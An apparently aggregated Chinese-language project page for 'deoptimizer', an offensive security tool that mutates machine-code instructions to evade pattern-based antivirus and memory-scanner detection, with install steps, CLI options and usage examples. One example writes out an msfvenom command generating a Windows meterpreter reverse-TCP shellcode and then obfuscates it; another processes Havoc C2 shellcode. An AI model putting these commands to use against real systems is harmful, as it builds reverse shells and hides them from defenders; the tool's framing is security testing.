Project Icon

deoptimizer

机器代码反优化工具 绕过安全检测的新方法

Deoptimizer是一种机器代码反优化工具,通过指令转换绕过基于模式的安全检测。它采用算术分割、逻辑反转等技术,可转换高达95%的目标二进制文件指令,有效避开内存分析工具。支持多种架构,为安全测试提供新型代码混淆方法,是规避安全产品检测的有力工具。

De-Optimizer



GitHub 所有发布 构建 问题 Crates 许可证: MIT

这个工具是一个机器代码反优化器。通过将机器代码指令转换/变异为其功能等效项,它可以绕过安全产品使用的基于模式的检测机制。

为什么?

绕过安全产品是许多攻击性安全评估中非常重要的一部分。目前各种不同规避工具(如打包器、shellcode编码器和混淆器)中使用的大多数AV规避技术都依赖于在RWE内存区域上运行的自修改代码。考虑到当前安全产品的状态,此类规避尝试很容易被内存分析工具(如MonetaPe-sieve)检测到。本项目引入了一种新的代码混淆方法,即使用机器代码反优化。它使用某些数学方法(如算术分割、逻辑反转、多项式转换和逻辑分割)来转换/变异目标二进制文件的指令,而不会创建任何可识别的模式。该工具能够使用上述反优化技巧将给定二进制文件的指令转换高达约95%。

观看演示以了解更多...

安装

这里下载预构建的发布二进制文件。

在Cloud Shell中打开

从源代码安装

cargo install deoptimizer

Docker安装

Docker

docker run -it egee/deoptimizer -h

使用方法

[!警告]
该项目仍处于开发阶段!可用的转换小工具、函数和命令行参数名称可能会进行调整,不保证向后兼容性。


用法: Deoptimizer [选项]
选项:
  -a, --arch <架构>                     目标架构(x86/arm)[默认:x86]
  -f, --file <文件>                     目标二进制文件名 [默认:]
  -o, --outfile <输出文件>              输出文件名 [默认:]
  -s, --source <源文件>                 源汇编文件 [默认:]
      --syntax <语法>                   汇编器格式化语法(nasm/masm/intel/gas)[默认:keystone]
  -b, --bitness <位数>                  二进制文件的位数(16/32/64)[默认:64]
  -A, --addr <地址>                     十六进制形式的起始地址 [默认:0x0000000000000000]
      --skip-offsets <跳过偏移>...      跳过反优化的文件偏移范围(例如:0-10 表示跳过前十个字节)
      --no-trace                        不对给定的二进制文件执行控制流追踪
  -c, --cycle <周期>                    反优化周期总数 [默认:1]
  -F, --freq <频率>                     反优化频率 [默认:0.5]
      --transforms <变换>               允许的变换例程(ap/li/lp/om/rs)[默认:ap,li,lp,om,rs]
      --allow-invalid                   允许处理无效指令
  -v, --verbose                         详细输出模式
      --debug                           调试输出模式
  -h, --help                            打印帮助信息
  -V, --version                         打印版本信息

示例

- 生成并反优化64位Metasploit反向TCP shellcode
```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o shellcode 
deoptimizer -b 64 -F 1 -f /tmp/shellcode

[!警告]
某些shellcode可能包含必须跳过的字符串和其他静态数据值!默认情况下,反优化器将执行简单的控制流追踪以检测代码路径并自动跳过可能的数据偏移。自动追踪对小型shellcode效果良好。(已测试所有Metasploit的windows/*/meterpreter/* shellcode)然而,由于这项任务的复杂性,对于一些大型/复杂的shellcode,追踪可能会跳过过多内容或完全失败。

在这种情况下,建议使用--no-trace参数禁用追踪器。没有追踪器时,需要使用--skip-offsets参数手动指定字符串偏移。

Havoc框架生成的shellcode是这种用例的良好示例。Havoc框架生成包含完整DLL文件和PE加载器的大型shellcode。以下示例展示了如何跳过Havoc shellcode的DLL部分。

deoptimizer -F 1 --no-trace --skip-offsets 0x46F-0x18BFF -f havoc_demon.x64.bin -o shellcode
# 这些偏移目前对所有Havoc shellcode似乎都是稳定的。但建议验证偏移。

当前支持的架构

  • 支持
  • 🚧 进行中
  • 不支持
架构32位64位
x86
ARM🚧
RISCV🚧

待办事项

  • PE文件支持
  • ELF文件支持
  • Mach-O文件支持
  • ARM架构支持
  • RISC5架构支持
项目侧边栏1项目侧边栏2
推荐项目
Project Cover

豆包MarsCode

豆包 MarsCode 是一款革命性的编程助手,通过AI技术提供代码补全、单测生成、代码解释和智能问答等功能,支持100+编程语言,与主流编辑器无缝集成,显著提升开发效率和代码质量。

Project Cover

AI写歌

Suno AI是一个革命性的AI音乐创作平台,能在短短30秒内帮助用户创作出一首完整的歌曲。无论是寻找创作灵感还是需要快速制作音乐,Suno AI都是音乐爱好者和专业人士的理想选择。

Project Cover

白日梦AI

白日梦AI提供专注于AI视频生成的多样化功能,包括文生视频、动态画面和形象生成等,帮助用户快速上手,创造专业级内容。

Project Cover

有言AI

有言平台提供一站式AIGC视频创作解决方案,通过智能技术简化视频制作流程。无论是企业宣传还是个人分享,有言都能帮助用户快速、轻松地制作出专业级别的视频内容。

Project Cover

Kimi

Kimi AI助手提供多语言对话支持,能够阅读和理解用户上传的文件内容,解析网页信息,并结合搜索结果为用户提供详尽的答案。无论是日常咨询还是专业问题,Kimi都能以友好、专业的方式提供帮助。

Project Cover

讯飞绘镜

讯飞绘镜是一个支持从创意到完整视频创作的智能平台,用户可以快速生成视频素材并创作独特的音乐视频和故事。平台提供多样化的主题和精选作品,帮助用户探索创意灵感。

Project Cover

讯飞文书

讯飞文书依托讯飞星火大模型,为文书写作者提供从素材筹备到稿件撰写及审稿的全程支持。通过录音智记和以稿写稿等功能,满足事务性工作的高频需求,帮助撰稿人节省精力,提高效率,优化工作与生活。

Project Cover

阿里绘蛙

绘蛙是阿里巴巴集团推出的革命性AI电商营销平台。利用尖端人工智能技术,为商家提供一键生成商品图和营销文案的服务,显著提升内容创作效率和营销效果。适用于淘宝、天猫等电商平台,让商品第一时间被种草。

Project Cover

AIWritePaper论文写作

AIWritePaper论文写作是一站式AI论文写作辅助工具,简化了选题、文献检索至论文撰写的整个过程。通过简单设定,平台可快速生成高质量论文大纲和全文,配合图表、参考文献等一应俱全,同时提供开题报告和答辩PPT等增值服务,保障数据安全,有效提升写作效率和论文质量。

投诉举报邮箱: service@vectorlightyear.com
@2024 懂AI·鲁ICP备2024100362号-6·鲁公网安备37021002001498号